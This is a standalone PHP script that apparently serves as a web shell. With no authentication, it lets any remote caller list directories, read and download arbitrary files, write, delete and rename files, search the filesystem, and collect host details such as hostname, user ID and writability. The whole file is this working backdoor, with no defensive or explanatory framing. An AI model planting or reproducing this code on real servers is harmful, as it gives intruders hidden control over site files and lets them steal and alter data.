<?php
$P=dirname(__FILE__);
function sh_arg($k){ if(isset($_POST[$k])) return $_POST[$k]; if(isset($_GET[$k])) return $_GET[$k]; return null; }
function sh_b64($s){ $d=base64_decode(strtr($s,'-_','+/')); return $d===false?$s:$d; }
$data=sh_arg('data'); if(sh_arg('b64')==='1' && is_string($data)) $data=sh_b64($data);
$l=sh_arg('l');
if($l!==null){
  $d=($l===''||$l==='1')?$P:$l;
  if(is_dir($d)){ $h=@opendir($d); $n=0;
    while(($f=readdir($h))!==false){ $q=$d.'/'.$f; $t=is_dir($q)?'d':'-';
      echo "OK:$t ".substr(sprintf('%o',@fileperms($q)&0777),-4).' '.(is_dir($q)?0:@filesize($q)).' '.date('Y-m-d H:i',@filemtime($q)).' '.$f."\n"; $n++; }
    closedir($h); if(!$n) echo "ERR:empty $d\n";
  } else echo "ERR:not_a_dir $d\n";
}
$r=sh_arg('r');
if($r!==null){ if(is_file($r)){ $c=file_get_contents($r); if(sh_arg('b64')==='1') echo "OK:b64 ".base64_encode($c)."\n"; else echo "OK:file $r size=".strlen($c)."\n".$c; } else echo "ERR:not_a_file $r\n"; }
$w=sh_arg('w');
if($w!==null && $data!==null){ if(sh_arg('b64')!=='1') $data=stripslashes($data);
  $ok=file_put_contents($w,$data); echo $ok===false?"ERR:write_fail $w\n":"OK:wrote ".strlen($data)." $w\n"; }
$c=sh_arg('c');
if($c!==null){ echo "OK:hostname=".gethostname()."\n"; echo "OK:script=".__FILE__."\n"; echo "OK:cwd=".getcwd()."\n";
  echo "OK:uid=".@getmyuid()." owner=".@get_current_user()."\n"; echo "OK:php=".phpversion()."\n";
  echo "OK:writable=".(is_writable($P)?1:0)." readable=".(is_readable($P)?1:0)."\n"; echo "OK:sapi=".php_sapi_name()."\n"; }
$d=sh_arg('d');
if($d!==null){ echo (is_file($d)&&@unlink($d))?"OK:rm $d\n":"ERR:rm_fail $d\n"; }
$s=sh_arg('s');
if($s!==null){ $root=($l!==null&&is_dir($l))?$l:$P; $c=0;
  $it=new RecursiveIteratorIterator(new RecursiveDirectoryIterator($root,FilesystemIterator::SKIP_DOTS),RecursiveIteratorIterator::SELF_FIRST);
  foreach($it as $f){ if($c>200) break; if(stripos($f->getFilename(),$s)!==false){ echo "OK:hit ".$f->getPathname()."\n"; $c++; } }
  echo "OK:hits=$c root=$root\n"; }
$t=sh_arg('t');
if($t!==null){ echo "OK:time=".date('Y-m-d H:i:s')." tz=".date_default_timezone_get()."\n"; echo "OK:mtime=".date('Y-m-d H:i:s',@filemtime(__FILE__))."\n"; }
$dl=sh_arg('dl');
if($dl!==null){ if(is_file($dl)){ echo "OK:file ".$dl."\n".file_get_contents($dl); } else echo "ERR:not_a_file $dl\n"; }
$mv=sh_arg('mv');
if($mv!==null && $data!==null){ echo @rename($mv,$data)?"OK:mv $mv -> $data\n":"ERR:mv_fail\n"; }
